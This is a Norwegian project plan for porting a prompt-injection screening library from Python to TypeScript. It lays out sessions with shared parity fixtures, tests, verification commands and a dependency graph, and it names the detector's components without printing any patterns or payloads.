  2. Relativ-mål-asymmetrien (relative lenker/bilder i en OKF-bundle flagges ikke) — lukkes den, får llm-ingestion-okf varsel før det shippes. Den er en Door C-egenskap, ikke et guard-gap: et merget konsept skrives VERBATIM, så vi reparerer og omskriver ikke (designprinsipp 3). Men lukking endrer hva som ankommer deres persist-gate.

Kjent, ikke modellert: okf rapporterer at percent-escapes når filnavn gjennom en slugger — dvs. %20 produseres SYSTEMATISK fra dokumenttitler, ikke tilfeldig. Vår percent-escape-FP ble kalibrert mot dokumentasjons-URL-er der escapes er insidentelle. Er okfs mekanisme representativ, er dette en strukturell FP-klasse og ikke en sjelden form. Måles i deres re-run og i linkedin-studios korpus.


TRACK 2 — Node/TS-port (stream 3). Starter etter Session G.

Ryggrad: en delt parity-fixture (fixtures/parity/*.json: input → forventede labels/severities) som BÅDE Python og TS må tilfredsstille. Uten den porter du et bevegelig mål. Den delte injection_lexicon.json splittes aldri (PLAN §13.3).

Session P0 — Parity-fixture-ryggrad + TS-scaffold

  • Mål: etabler golden-fixtures + TS-prosjektskjelett; Python-impl asserter mot fixtures.
  • Scope-grense: ingen TS-detektor-logikk ennå; kun scaffold + fixtures + Python- parity-test.
  • Avhengigheter: Session G (frossen surface) + D (kalibrering konsolidert).
  • Filer: fixtures/parity/{sanitize,lexicon,entropy,output,okf}.json; ny tests/test_parity_fixtures.py (Python-siden); node/package.json, node/tsconfig.json, node/vitest.config.ts.
  • TDD-plan: test_parity_fixtures.py kjører hvert fixture-input gjennom Python- impl og asserter forventede labels (rødt til fixtures skrives, så grønt).
  • Nøkkelantakelse (+ test): «fixtures fanger den faktiske Python-atferden.» Test: Python-parity-test grønn.
  • Verifisering: PYTHONPATH=src .venv/bin/pytest tests/test_parity_fixtures.py → grønt; cd node && npm i && npx vitest run → tomt/skjelett kjører.

Session P1 — report + severity + lexicon-loader (TS)

  • Mål: TS-typene + loader som leser SAMME injection_lexicon.json.
  • Avhengigheter: P0.
  • Filer: node/src/report.ts, node/src/lexicon-loader.ts, node/test/*.test.ts.
  • TDD: vitest: loader kompilerer alle mønstre; antall == Python load_lexicon().
  • Nøkkelantakelse (+ test): «JS-regex-motoren aksepterer alle mønstrene uten flag-oversettelsestap.» Test: hver pattern kompilerer; parity på pattern-count.
  • Verifisering: cd node && npx vitest run test/lexicon-loader.test.ts → grønt; count == PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard.lexicon import load_lexicon; print(len(load_lexicon()))".

Session P2 — sanitize + entropy + normalize (TS)

  • Avhengigheter: P1.
  • Filer: node/src/sanitize.ts, node/src/entropy.ts, node/src/normalize.ts.
  • TDD: vitest kjører fixtures/parity/{sanitize,entropy}.json → samme labels.
  • Nøkkelantakelse (+ test): «base64/rot13/homoglyph-primitiver gir bit-lik output i JS og Python.» Test: parity-fixtures grønne begge sider.
  • Verifisering: cd node && npx vitest run (sanitize+entropy) grønt mot fixtures.

Session P3 — lexicon.scan + variant-set (TS)

  • Avhengigheter: P2.
  • Filer: node/src/lexicon.ts.
  • TDD: fixtures/parity/lexicon.json (raw/normalized/folded/rot13-varianter) → samme dedupede labels.
  • Nøkkelantakelse (+ test): «dedup-by-id og variant-rekkefølge matcher.» Test: parity-fixture med multi-variant-treff.
  • Verifisering: cd node && npx vitest run test/lexicon.test.ts grønt.

Session P4 — output + active_content + neutralize + disposition (TS)

  • Avhengigheter: P3. (Inkluderer aktivt-innhold fra Session A.)
  • Filer: node/src/output.ts, node/src/active_content.ts, node/src/neutralize.ts, node/src/disposition.ts.
  • TDD: fixtures/parity/output.json + disposition-tabell-fixtures.
  • Nøkkelantakelse (+ test): «fail-closed + carrier/CRITICAL any-tier + compound matcher Python.» Test: disposition-parity-fixtures inkl. transform_failed-caset.
  • Verifisering: cd node && npx vitest run (output+disposition) grønt mot fixtures.

Session P5 — contract-asserters + top-level bookends (TS)

  • Avhengigheter: P4.
  • Filer: node/src/contract.ts, node/src/index.ts (prepareInput/screenOutput).
  • TDD: tool-carrying request raiser; credential-leak raiser; happy path passerer.
  • Verifisering: cd node && npx vitest run test/contract.test.ts grønt.

Session P6 — OKF-adapter (TS)

  • Avhengigheter: P5.
  • Filer: node/src/okf.ts.
  • TDD: port _poisoned_bundle/_clean_bundle fra test_okf_showcase.py som fixture; samme aggregat-disposition + link-graf.
  • Nøkkelantakelse (+ test): «strict frontmatter-parser gir samme reject-set.» Test: OKF-parity-fixture (T2/T3/T4/T5a/dangling).
  • Verifisering: cd node && npx vitest run test/okf.test.ts grønt.

Session P7 — Parity-CI + Node-README + versjons-sync + tag

  • Avhengigheter: P6.
  • Filer: node/README.md, node/package.json (version synk med Python-linjen), CI-hook som kjører begge suiter mot samme fixtures.
  • Verifisering: både PYTHONPATH=src .venv/bin/pytest og cd node && npx vitest run grønne mot samme fixtures/parity/; versjonsstreng synk; tag + push til open/.

Avhengighetsgraf + anbefalt sekvens

A  ─┐
A2 ─┤          (A, A2, B, C uavhengige; kjør i den rekkefølgen som passer)
B  ─┤
C  ─┤
    ├─► D ─► E ─┐
F  ─┘           ├─► G (v1.0 FRYS) ─► P0 ─► P1 ─► P2 ─► P3 ─► P4 ─► P5 ─► P6 ─► P7
                │
   (F operatør-gated, uavhengig, må være lukket/konsedert før G)
  • A, A2, B, C kan tas i valgfri rekkefølge (uavhengige). Start med A eller A2 (begge review-MAJOR; A = unsafe admit, A2 = over-block + uskannet index.md).
  • D etter A (så aktivt-innhold-severities bor i calibration.py).
  • E etter A/B/C (honest-limits skal reflektere faktisk tilstand).
  • F når som helst før G; anbefalt spor F1 (konsesjon). Dep-tillegg (F2) er operatør-gate uansett.
  • G er frysepunktet. Node-porten (P0-P7) starter FØRST etter G, ellers porter du et bevegelig mål. P0 avhenger også av D (kalibrering konsolidert).
  • P0-P7 er sekvensielle (hver bygger på forrige), med parity-fixture som felles kontrakt.

.pdf-beslutningen sitter i F (før G). Python-frysen sitter i G (før P0).